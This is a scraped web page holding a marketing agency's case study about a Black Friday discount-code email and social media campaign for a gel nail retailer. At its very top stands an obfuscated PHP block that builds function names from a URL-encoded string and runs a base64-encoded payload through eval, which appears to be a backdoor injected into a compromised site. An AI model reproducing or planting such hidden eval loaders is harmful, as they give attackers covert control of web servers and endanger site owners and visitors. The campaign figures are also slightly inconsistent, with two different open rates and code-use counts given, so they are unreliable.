$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iaXFnQ21CeldNSFB4YVN1WG5sa09yRXROaHBVUURkVHNqdktlQWJSR0xWSkZ3Wm9JeWZjWVdGQ0dRbUhnYXJ1aUFxZlB4c2tWS0VlSU9wdERvelRCVVJ5aGpaU2RYSlluY05sd01iTHZ1bzljQXJqQ29EbD0iO2V2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7")); ?> Retail Strategy - AsOne Digital Business Development - Manchester

Retail Marketing Through eMail Marketing and Social Media

What is a Retail Strategy?

Executing a solid retail strategy is an effective way to drive additional sales to your website and build lasting interest in your business. By using discount codes in combination with email and social media campaigns, you can reward loyal customers, while at the same time converting potential customers who might have been on the fence about using your products or services.

Reaching out to customers in a coordinated way, with a high value offer, also gives them reason to share your business with their own networks, further promoting your site in the process.

Client Overview

GelNailVarnish.co.uk is a one-stop shop for Gel Nails. They sell everything you could possibly need to give yourself salon quality nails at a fraction of the cost and within the comfort of your own home. The product selection includes everything needed for a salon-quality gel manicure, at home, at affordable prices.   

They support a large and growing client base, with a high volume of repeat custom. Due to the nature of the products and the customer groups they have a high sell-through rate of the most popular products.

Retail Strategy Goals

The goal of the retail strategy was to leverage the Black Friday trading period to drive additional interest in the product range, and secure additional sales over this time. By providing excellent value and customer service it was also hoped that some of these sales would lead to repeat custom and referrals.

The Black Friday offering was used to facilitate Christmas sales and increase profitability over the October to December period.


Gel Nail Varnish hasn’t previously offered a discount over Black Friday, and we anticipated that this would be an effective way to drive up sales.

We created a discount of 10% off all orders through the site using a discount code, starting on Friday and running through to Cyber Monday. The offer was promoted through a slider image on the homepage of the website, as well as reaching out to customers directly through an email and social media campaign.

The use of a tailored discount code and visual design allowed us to present the customer with a clear USP of the brand and drive conversions. 

We sent an eShot to the customer database on the morning of Black Friday with the discount code inside. The email received an open rate of 21.52% and a click-through rate of 20.97%. The code was used a total of 74 times over the weekend. The promotional weekend discount was a success resulting in increased sales and key products selling out.

Retail Strategy Results

The initial Black Friday eShot which was sent had a 20.96% open rate, and 21.1% click through rate, resulting in over 246 clicks through to the home page. A follow up email, sent 2 days later was similarly successful, resulting in 118 clicks.

Over the course of the weekend, this resulted in 72 orders being placed using the discount code, and a number of products selling out.

What this Could Mean for You

Taking the time to craft an effective retail strategy could help to give you an initial boost in sales followed by additional repeat custom.

AsOne has experience developing and executing retail strategies that tie in with wider business development and marketing plans.

If you’d like more information on what this could mean for your business, don’t hesitate to get in touch.

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